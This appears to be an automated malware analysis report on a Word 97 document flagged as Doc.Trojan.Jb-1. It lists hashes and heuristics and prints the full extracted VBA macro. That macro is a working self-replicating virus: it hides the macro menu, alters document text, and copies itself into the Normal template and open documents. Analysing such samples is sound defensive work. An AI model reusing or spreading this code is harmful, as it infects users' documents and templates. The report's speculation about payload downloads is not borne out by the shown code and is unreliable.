Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 100302cdecf11bc1…

MALICIOUS

Office (OLE)

37.5 KB Created: 1999-10-27 09:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fa1afc47fa4c133cc2805d964008a880 SHA-1: 800ae2c306dcf74dd5b66ff02f628d794614414f SHA-256: 100302cdecf11bc1e6a8d15f949f4c96482f3d098ead53a134037c1b5301e28f
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains VBA macros, specifically a Document_Open macro, which is a common technique for malware. The macro attempts to infect both the Normal template and the active document by renaming their VBComponents to 'JB'. This behavior suggests an attempt to establish persistence or prepare for further malicious actions, such as downloading and executing additional payloads. The ClamAV detection 'Doc.Trojan.Jb-1' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Jb-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jb-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2418 bytes
SHA-256: 08f131c4f251cd6905094d582f3d61f02ffd732beecb8ca76fec94a825eff6aa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JB"
Attribute VB_Base = "1Normal.JB"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Dim prvInfNorm As Boolean
Dim prvInfAct As Boolean
Dim prvCodeCount As Integer
Private Sub Document_Close()
    ActiveDocument.SaveAs ActiveDocument.FullName
    CommandBars("Macro").Enabled = True
End Sub

Private Sub Document_New()
    Document_Open
End Sub

Private Sub Document_Open()


    CommandBars("Macro").Enabled = False
    
    ActiveDocument.Content.InsertAfter "Jim The Great"
    ActiveDocument.Content.Footnotes.Add ActiveDocument.Range, "Jim"

    'Check The Name of the Normal Template and Active Document Projects
    If NormalTemplate.VBProject.VBComponents.Item(1).Name <> "JB" Then
        NormalTemplate.VBProject.VBComponents.Item(1).Name = "JB"
        prvInfNorm = True 'Infect Normal
    Else
        prvInfNorm = False ' Don't Infect Normal
    End If
    If ActiveDocument.VBProject.VBComponents.Item(1).Name <> "JB" Then
        ActiveDocument.VBProject.VBComponents.Item(1).Name = "JB"
        prvInfAct = True 'Infect Active Document
    Else
        prvInfAct = False 'Don't Infect Active Document
    End If

    'Infecting the Normal Template
    If prvInfNorm = True Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        For prvCodeCount = 1 To ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
            NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines prvCodeCount, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(prvCodeCount, 1)
        Next prvCodeCount
    End If

    ' Infecting the Active Document
    If prvInfAct = True Then
        ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        For prvCodeCount = 1 To NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
            ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines prvCodeCount, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(prvCodeCount, 1)
        Next prvCodeCount
    End If

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.